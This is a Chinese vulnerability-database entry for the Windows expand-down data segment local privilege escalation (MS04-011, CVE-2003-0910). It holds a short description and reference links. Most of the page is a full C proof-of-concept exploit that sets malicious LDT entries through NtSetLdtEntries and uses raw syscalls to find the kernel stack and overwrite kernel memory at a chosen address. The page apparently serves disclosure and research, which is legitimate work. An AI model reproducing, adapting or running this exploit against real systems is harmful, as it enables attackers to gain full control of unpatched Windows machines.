Windows Expand-Down数据段本地权限提升漏洞(MS04-011)

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107885 漏洞类型 访问验证错误
发布时间 2004-04-18 更新时间 2007-10-02
CVE编号 CVE-2003-0910 CNNVD-ID CNNVD-200406-011
漏洞平台 Windows CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/23989
https://www.securityfocus.com/bid/10122
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200406-011
|漏洞详情
Windows是微软开发的视窗操作系统。Windows内核包含的NtSetLdtEntriesAPI函数由于缺少充分的验证检查,本地攻击者可以利用这个漏洞提升权限。问题是内核中两个独立但又有联系的漏洞引起的,第一个问题是NtSetLdtEntriesAPI函数缺少充分验证,可绕过安全检查和可建立危险数据段。第二个问题是部分内核代码缺少过滤,用户代码传递一引用到恶意段(使用NtSetLdtEntries建立),可导致修改任意内存地址。攻击者本地登录系统,可建立恶意LDT条目访问受保护的内存,造成权限提升,控制整个系统。
|漏洞EXP
source: http://www.securityfocus.com/bid/10122/info

Microsoft Windows Local Descriptor Table programming interface is prone to a privilege-escalation vulnerability.

A local attacker may be able to create a malicious entry in the Local Descriptor Table. This entry may point into protected memory. Since this memory space is reserved for kernel operations, the attacker will likely exploit this condition to execute arbitrary code with elevated privileges.

/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author: mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested: Win2k pro en sp4
*
* Thanks: z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date: 18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
   #define KernelStackPtr 0xFD000000 //
   #define BedSize 0x01000000
#else
   #define KernelStackPtr 0xF0000000
   #define BedSize 0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
   DWORD ldtbase, KSP;
   int i;
   HMODULE hNtdll;
  
   if(argc<2) {
      printf("** coded by mslug@safechina.net **\n");
      printf("winldt.exe <kernel address>\n");
      return 0;
   }

   patch_to = strtoul(argv[1], 0, 16);
  
   hNtdll = LoadLibrary("ntdll.dll");
  
   (DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");
  
   memset(bed, 'A', BedSize);
   bed[BedSize-1]=0;
  
   ldtbase = (DWORD) &bed[0] - KernelStackPtr;
  
   printf("[+] User-land bed : 0x%08X\n", &bed[0]);
   printf("[+] 1st LDT base : 0x%08X\n", ldtbase);

   SetupLDT(0x1f, ldtbase);
   __asm {
      push es
      push 1fh
      pop es
      mov eax, 11h //1 param
      lea edx, pin
      int 2eh
      pop es
   }

   for (KSP=0, i=0; i<BedSize-3; i++) {
      if (bed[i] =='C' && bed[i+1]=='O' &&
          bed[i+2]=='O' && bed[i+3]=='L' )
      {
         KSP = KernelStackPtr + i;
         printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         //KSP = (DWORD)&bed[i]-ldtbase;
         //printf("[!] Knl stack ptr : 0x%08X\n", KSP);
         break;
      }
   }
  
   if(!KSP) {
      printf("[-] Can't locate Kernel stack pointer, try again\n");
      return 0;
   } else if (patch_to < KSP) {
      printf("[-] Can only patch kernel above KSP\n");
      return 0;
   }
  
   ldtbase = patch_to - KSP;

   printf("[+] Patch to : 0x%08X\n", patch_to);
   printf("[+] 2nd LDT base : 0x%08X\n", ldtbase);

   SetupLDT(0x17, ldtbase);
   __asm {
      push es
      push 17h
      pop es
      mov eax, 11h
      lea edx, pin
      int 2eh
      pop es
   }
  
   return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
   LDT_ENTRY EvilLdt;
   DWORD base = ldtbase;
   DWORD limit = 0;
   int ret;
  
   EvilLdt.BaseLow = base & 0xFFFF;
   EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
   EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
   EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
   EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
   EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit<<12)|FFF
   EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
   EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
   EvilLdt.HighWord.Bits.Sys = 0; // 0/1
   EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
   EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
   EvilLdt.HighWord.Bits.Type = 23; // [16..27]

   ret = NtSetLdtEntries( seg,
                    *(DWORD*)&EvilLdt,
                    *(((DWORD*)&EvilLdt)+1),
                    0,0,0);
   if (ret < 0) {
      printf("[-] Set ldt error : %08X.\n", ret);
      exit(0);
   }

   return seg;
}
|受影响的产品
Microsoft Windows NT Workstation 4.0 SP6a Microsoft Windows NT Workstation 4.0 SP6 Microsoft Windows NT Workstation 4.0 SP5 Microsoft Windows NT Workstation 4.0 SP4 Microsoft Windows NT W
|参考资料

来源:US-CERTVulnerabilityNote:VU#122076
名称:VU#122076
链接:http://www.kb.cert.org/vuls/id/122076
来源:US-CERTTechnicalAlert:TA04-104A
名称:TA04-104A
链接:http://www.us-cert.gov/cas/techalerts/TA04-104A.html
来源:EEYE
名称:AD20040413D
链接:http://www.eeye.com/html/Research/Advisories/AD20040413D.html
来源:MS
名称:MS04-011
链接:http://www.microsoft.com/technet/security/bulletin/ms04-011.asp
来源:FULLDISC
名称:20040413EEYE:WindowsExpand-DownDataSegmentLocalPrivilegeEscalation
链接:http://lists.grok.org.uk/pipermail/full-disclosure/2004-April/020068.html
来源:XF
名称:win-ldt-gain-privileges(15707)
链接:http://xforce.iss.net/xforce/xfdb/15707
来源:BID
名称:10122
链接:http://www.securityfocus.com/bid/10122
来源:CIAC
名称:O-114
链接:http://www.ciac.org/ciac/bulletins/o-114.shtml
来源:USGovernmentResource:oval:org.mitre.oval:def:911
名称:oval:org.mitre.oval:def:911
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:911
来源:USGovernmentResource:oval:org.mitre.oval:def:890
名称:oval:org.mitre.oval:def:890
链接:http://oval.mit